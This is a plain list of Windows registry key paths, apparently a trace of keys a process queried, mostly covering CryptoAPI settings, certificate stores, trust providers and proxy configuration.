HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.26
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.27
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.28
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.30
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.4
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\ChainEngine\Config
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\Keys
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\CTLs
HKEY_CURRENT_USER\
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\SmartCardRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Diagnostics
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\System\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\UrlDllGetObjectUrl
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\UrlDllGetObjectUrl
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\AuthRoot
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Escalation
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\WMR
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\874A0727
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllVerifyEncodedSignature
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllVerifyEncodedSignature
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllImportPublicKeyInfoEx2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllImportPublicKeyInfoEx2
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
